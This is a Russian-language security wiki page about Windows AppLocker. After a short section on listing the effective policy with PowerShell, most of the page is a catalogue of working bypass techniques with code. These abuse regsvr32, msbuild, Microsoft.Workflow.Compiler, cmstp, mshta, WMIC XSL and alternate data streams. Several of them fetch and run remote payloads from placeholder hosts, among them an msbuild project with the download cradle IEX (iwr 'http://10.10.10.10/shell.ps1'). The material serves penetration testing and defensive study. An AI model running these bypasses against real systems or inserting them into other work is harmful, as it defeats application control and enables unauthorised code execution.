Applocker

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск

Applocker - функция управления приложениями и политиками по запуску программного обеспечения в Windows.

Позволяет управлять:

  • Исполняемые файлы
    • EXE
    • COM
  • Скрипты
    • JS
    • PS1
    • VBS
    • CMD
    • BAT
  • Установочные файлы
    • MST
    • MSI
    • MSP
  • Библиотеки
    • DLL
    • OCX
  • Упакованные приложения
    • APPX

Общее

Получение политики (все юзеры)

Get-ApplockerPolicy -effective

Получение политики (все группы текущего пользователя)

$a = Get-ApplockerPolicy -effective

$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value
$g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups)

Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){
$f = 0;
$v = $y.UserOrGroupSid.value; 
Foreach ($z in $g){
if (($z.Value -eq $u) -or ($z.Value -eq $v)){
$f= 1;
};
};
  if ($f -eq 1){
Write-Output $y.PathConditions;
Write-Output $y.Action;
}
}}

Однострочник

$a = Get-ApplockerPolicy -effective;$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value; $g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups);Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){$f = 0;$v = $y.UserOrGroupSid.value; Foreach ($z in $g){if (($z.Value -eq $u) -or ($z.Value -eq $v)){$f= 1;};};if ($f -eq 1){Write-Output $y.PathConditions;Write-Output $y.Action;};};};

Обход AppLocker

Альтернативный канал

Например, если политика разрешат запуск из C:\logs то следующей командой мы можем сохранить файл в альтернативный канал и запустить его:

type test.exe > C:\logs:test.exe
wmic process call create '"C:\logs:test.exe"'

Интерпретаторы

  • python
  • perl
  • java

И так далее

Макросы ворда

Макросы ворда VBS позволяют тоже обойти AppLocker и запустить произвольный код.

Небезопасные политики

Требуется посмотреть список директорий, откуда можно запускать файлы, и проверить какие из директорий/файлов доступны для записи.


InstallUtil

См. amsi

regsvr32.exe

test.sct:

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>
regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll

Microsoft.Workflow.Compiler.exe

test.xml:

<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>test.xoml</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>


text.xoml:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
    <CodeActivity x:Name="codeActivity1" />
    <x:Code><![CDATA[
    public class Foo : SequentialWorkflowActivity {
     public Foo() {
            Console.WriteLine("FOOO!!!!");
        }
    }
    ]]></x:Code>
</SequentialWorkflowActivity>


Microsoft.Workflow.Compiler.exe соберет XML-проет и запустит его:

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml

Полный фрагмент кода для автоматизации запуска:

function New-CompilerInputXml {
<#
.SYNOPSIS
Creates a an XML file consisting of a serialized CompilerInput object.
.DESCRIPTION
New-CompilerInputXml creates an XML file consisting of compiler options. This file is required as the first argument for Microsoft.Workflow.Compiler.exe.
.PARAMETER XOMLPath
Specifies the path to the target XOML file. This can be a relative or absolute path. This path will be included in the resulting XML file that New-CompilerInputXml outputs.
.PARAMETER OutputPath
Specifies the path to which New-CompilerInputXml will save the serialized CompilerInput object.
.EXAMPLE
New-CompilerInputXml -XOMLPath C:\Test\foo.xoml -OutputPath test.xml
Outputs a serialized CompilerInput object to test.xml and specifies a full path to a XOML assembly reference.
.EXAMPLE
New-CompilerInputXml -XOMLPath foo.xoml -OutputPath test.txt
Outputs a serialized CompilerInput object to test.txt and specifies a XOML assembly reference using a relative path. Note that Microsoft.Workflow.Compiler.exe doesn't care about the extension supplied in the first argument.
.OUTPUTS
System.IO.FileInfo
Outputs a FileInfo object to serve as confirmation that the resulting serialized XML wil was created.
#>

    [OutputType([System.IO.FileInfo])]
    param (
        [String]
        [ValidateNotNullOrEmpty()]
        $XOMLPath = 'test.xoml',

        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $OutputPath
    )

    # This assembly won't be loaded by default. We need to load
    # it in order to get access to the WorkflowCompilerParameters class.
    Add-Type -AssemblyName 'System.Workflow.ComponentModel'

    # This class contains the properties we need to specify for Microsoft.Workflow.Compiler.exe
    $WFCompilerParams = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters

    # Necessary to get Microsoft.Workflow.Compiler.exe to call Assembly.Load(byte[])
    $WFCompilerParams.GenerateInMemory = $True

    # Full path to Microsoft.Workflow.Compiler.exe that we will load and access a non-public method from
    $WorkflowCompilerPath = [Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() + 'Microsoft.Workflow.Compiler.exe'

    # Load the assembly
    $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath)

    # This is the helper method that will serialize the CompilerInput object to disk
    $SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')

    $TempFile = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $WFCompilerParams, [String[]] @(,$OutputPath)))

    Move-Item $TempFile $OutputPath -PassThru
}

Подробнее тут: https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb


msbuild.exe

test.csproj:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj -->
  <Target Name="Hello">
   <ClassExample />
  </Target>
	<UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
	 <Reference Include="C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" />
	 <!-- Your PowerShell Path May vary -->
      <Code Type="Class" Language="cs">
        <![CDATA[
			// all code by Casey Smith @SubTee
			using System;
			using System.Reflection;
			using Microsoft.Build.Framework;
			using Microsoft.Build.Utilities;
			
			using System.Collections.ObjectModel;
			using System.Management.Automation;
			using System.Management.Automation.Runspaces;
			using System.Text;
				
			public class ClassExample :  Task, ITask
			{
				public override bool Execute()
				{
					//Console.WriteLine("Hello From a Class.");
					Console.WriteLine(powaShell.RunPSCommand());
					return true;
				}
			}
			
			//Based on Jared Atkinson's And Justin Warner's Work
			public class powaShell
			{
				public static string RunPSCommand()
				{
										
					//Init stuff
					
					InitialSessionState iss = InitialSessionState.CreateDefault();
					iss.LanguageMode = PSLanguageMode.FullLanguage;
					Runspace runspace = RunspaceFactory.CreateRunspace(iss);
					runspace.Open();
					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
					Pipeline pipeline = runspace.CreatePipeline();
					
					//Interrogate LockDownPolicy
					Console.WriteLine(System.Management.Automation.Security.SystemPolicy.GetSystemLockdownPolicy());				
					
					
					
					//Add commands
					pipeline.Commands.AddScript("IEX (iwr 'http://10.10.10.10/shell.ps1')");  // powershell 3.0+ download cradle
					//Prep PS for string output and invoke
					pipeline.Commands.Add("Out-String");
					Collection<PSObject> results = pipeline.Invoke();
					runspace.Close();
					//Convert records to strings
					StringBuilder stringBuilder = new StringBuilder();
					foreach (PSObject obj in results)
					{
						stringBuilder.Append(obj);
					}
					return stringBuilder.ToString().Trim();		  
				}
			}
							
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Скрипт загружает powershell-файл по ссылке http://10.10.10.10/shell.ps1


Нужно только скомпилировать проект:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Users\Public\Downloads\powashell.csproj

cmstp.exe

Местоположение файлов:

# x64
C:\Windows\System32\cmstp.exe
# x32
C:\Windows\SysWOW64\cmstp.exe

Запуск DLL

Содержимое файла cmstp.inf (отредактировать путь до dll):

[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
 
[RegisterOCXSection]
C:\Users\test.PENTESTLAB\pentestlab.dll
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"


Запуск:

cmstp.exe /s cmstp.inf

Запуск SCT

Файл SCT можно найти тут: https://gist.github.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/

Или другой вариант SCT: https://gist.github.com/netbiosX/297ea22d3475bb7216a7525f1ee82568

Содержимое файла cmstp.inf (отредактировать путь до powersct.sct):

[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
 
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"


Windows Script Host

mshta.exe

Запуск .hta файлов.


Пример:

# Нужен полный путь до файла
mshta.exe C:\test.hta

# или http-ссылка
mshta.exe http://1.1.1.1/test.hta

wscript.exe

Запуск Wscript(.wsf) файлов.

cscript.exe

Заапуск VBScript(.vbs), Jscript(.js) и Wscript(.wsf) файлов.

WMIC + XLS

test.xls:

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc");
	]]> </ms:script>
</stylesheet>

Запуск:

wmic os get /FORMAT:"test.xsl"

# Или http
wmic process get brief /format:"http://10.0.2.4:8000/applocker_xsl.xsl"

Ссылки